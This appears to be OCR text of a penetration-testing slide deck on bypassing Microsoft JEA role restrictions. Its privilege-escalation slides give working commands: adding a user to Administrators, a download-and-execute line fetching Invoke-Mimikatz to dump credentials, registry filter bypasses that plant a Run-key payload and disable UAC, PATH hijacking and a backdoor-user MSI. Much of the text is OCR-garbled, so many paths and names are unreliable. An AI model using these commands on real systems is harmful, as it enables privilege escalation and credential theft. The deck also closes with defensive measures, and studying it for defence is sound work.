Bypassing Microsoft JEA
role capabilities
for fun & profit
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QUICK INTRO
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Helpdesk
Operator

VisibleCmdlets

Import-Module ActiveDirectory
Remove-ADUser
Restart-Computer

JEA with limited cmdlets
Enter- on
Get-ADUser

Set-ADU

Active Directory
Domain Controller




Prerequisites
s POWERSHELL 5.0 OR LATER (9.1 RECOMMENDED)

S REMOTING (AND WINRM) LISTEN
ON THE FOLLOWING PORTS:
O HTTP: 5935
O HTTPS: 5936

ENABLED BY DEFAULT ON WINDOWS SERVER 2012, 2012 R2, AND 2016



How JEA works

1 CREATE AP SESSION CONFIGURATION FILE

»  MNew-P5SessionConfigurationFile -Path 'C dowsPowerShel 1 example_conf.pssc’ -Full

example_conf.pssc - Bloc-notes

ichier Edition Format Affichage 2

# ID used to uniquely identify this document
GUID = "a33562b3-dd53-38f4-c591-923450e029a2"

# author of this document
Author = 'Patrick’

# Description of the functionality provided by these settings
pescription = °°

# Company associated with this document
CompanyName = "'

# session type defaults to apply for this session configuration. Can be 'rRestrictedrRemoteserver’ (recommended), '"Empty’, or 'Default’
SessionType = "RestrictedrRemoteServer’

# Directory to place session transcripts for this session configuration
TranscriptDirectory = '"C:\ProgramData‘JEaConfiguration\Transcripts’

i

# whether to run this session configuration as the machine's (virtual) administrator account

# RunAasvirtualAccount = $true

# User roles (security groups), and the role capabilities that should be applied to them when applied to a session

rRolepefinitions = @{ "Domain‘HelpdeskOperator' = @{ RoleCapabilities = 'JEAHelpdeskoperator’ };
"pomaintserverMonitors’ = @f{ visibleCmdlets = "Get-service', "Get-Process’ 17

# Language mode to apply when applied to a session. Can be 'NoLanguage' (recommended), ’'RestrictedLanguage’,’ConstrainedLanguage’, or
LanguageMode = "FullLanguage’

# Execution policy to apply when applied to a session
ExecutionPolicy = 'Restricted’




How JEA works

1 CREATE A PS ROLE CAPABILITY FILE FOR HELPDESK
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How JEA works

1 REGIS YEKING THE (ONFIGURAUON

ration -Mame JEAHe pdeskOperator -Path "C:“Program Files‘WindowsPowershell\example_conf.pssc’

1 TESTING THE CONFIGURATION

= Enter-P55ession -ComputerName <target0l= -ConfigurationMame JEAHelpdeskOperator

K “RESTRICTEDREMOTESERVER” ALLOWS THE EXECUTION OF THE FOLLOWENG COMMANDS:
CLEAR-HOST ( , (LEAR)

EXIT-PSSESSION (FXSN, FXIT)

GET-COMMAND (6CM)

GFT- URMAIDMA

GET-|

MEA UK OB] FCT (MEASURE)
0UT-DEFAULT
SELECT-OBTECT (SELECT)

O0O0O0OO0O000E



Privilege escalation tips

DANGEROUS COMMANDS

% GRANTING A USER TO ADMIN

O Add-ADGroupMember, Add-LocalGroupMember, net.exe, dsadd.exe

 RUNNING ARBITRARY CODE

O Start-Process, New-Service, Invoke-Item, Invoke-WmiMethod, Invoke-Command,

New-ScheduledTask, Register-ScheduledJob

LET'S. GET.
DANGEROUS.



Privilege escalation tips

QUICK WINS

1: net.exe group Administrators unprivilegeduser /add

2: Start-Process -FilePath '\\netshare\share\malware.exe'

3: Invoke-Command <TARGET> (iex((New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/m
attifestation/PowerSploit/master/Exfiltration/Invoke-
Mimikatz.psl')); Invoke-Mimikatz -DumpCreds)



Privilege escalation tips

PLAYING WITH FILES AND FOLDERS PATHS

Filter with wildcards:

Bypass:
C:\Users\..\Windows\System32\...




Privilege escalation tips

PLAYING WITH THE REGISTRY

Scenario:

A rule allows some changes in the registry, but a filter checks
that the strings "SOFTWARE\Microsoft"”, "Microsoft\Windows" are not
present in the path specified by the user.

Bypass filter:

S C:\» New-ItemProperty -Path "HKLM:)SOFTWARE\pentest\..\Microsoft)pentest\..\Windows\CurrentVersion‘Run"
Mame "pentest" -Value " "C:Windows' System32homd.exe " /C C:Users'unprivileged_user’Documentsadduser. bat"”




Privilege escalation tips

PLAYING WITH THE REGISTRY

Issues with UAC?

Disable it!

PS C:\> Set-ItemProperty -Path
"HKLM:\SOFTWARE\pentest\..\Microsoft\pentest\..\Windows\CurrentVersion\Pol
icies\System" -Name "EnableLUA" -Value ©



Privilege escalation tips

PLAYING WITH WINRM SESSION VARTABLES

mentshWindowsPowerShell'\Modules; C:%Program Files\WindowsPowerShel1 \Modules

OOy LL] OO
vl.0WModules; D:h\<custom_dir>"WindowsPowershel 1" Modules

ower Shell

5 Ci'» Copy-Item -Path "C:\Users'<unprivileged_user>'\Documents®-ModuleNames>"
Destination "C:‘\Users'..“Program Files‘WindowsPowerShell'Modules' <ModuleName=" -Recurse 1



Privilege escalation tips

PLAYING WITH ENVIRONMENT VARTABLES

Modification of PATH variable allowed?

Create evil cmd.exe into the controlled path:
C:\Users\<unprivileged user>\Documents\cmd.exe



Privilege escalation tips

RIGHTS TO TNSTALL MSIS?

Gener‘atlon of a MSI package (thanks #PowerSploit @)

= Write erAddMsI -Username backdoor -Password passwordl23 -Path <5tring

PS C:\> Invoke-WindowsInstaller "/i <X>:\Temp\UserAdd.msi /quiet
/norestart”



Privilege escalation tips

ABUSE OF THE SECOND HO?

Check if CredSSP is enabled on target host:
O [AUNCH MIMIKATZ
o I
o (.




PowersShell Logging

AS A BLUE TEAM (OR PENTESTER) CHECK IF
SCRIPTBLOCKLOGGING IS ENABLED:




Security measures

SECURING JEA

& CONSTRAING LANGUAGE MODE

o CONSTRAINED ENDPOINTS

& P AUDITING VIA GPO TO ALL TARGET SYSTEMS

oA ENABLING CENTRALLZED PS TRANSCRIPT LOGGING VIA GPO OF ALL TARGET SYSTEMS
oA ONLY ALLOW SIGNED SCRIFTS - CERTIFICATES 10 RUN

oA APPLICATION WHITE LISTING VIA AP RESTRICTION POLICIES




Links

Microsoft

https://docs.microsoft.com/en-us/powershell/jea/overview

Technet Microsoft Blog

https://blogs.technet.microsoft.com/datacentersecurity/2017/04/24/le
verage-powershell-just-enough-administration-for-your-helpdesk/

MSDN Microsoft blog

https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell
-the-blue-team/

FireEye

https://www.fireeye.com/content/dam/fireeye-
www/global/en/solutions/pdfs/wp-lazanciyan-investigating-
powershell-attacks.pdf




Thanks for your attention!
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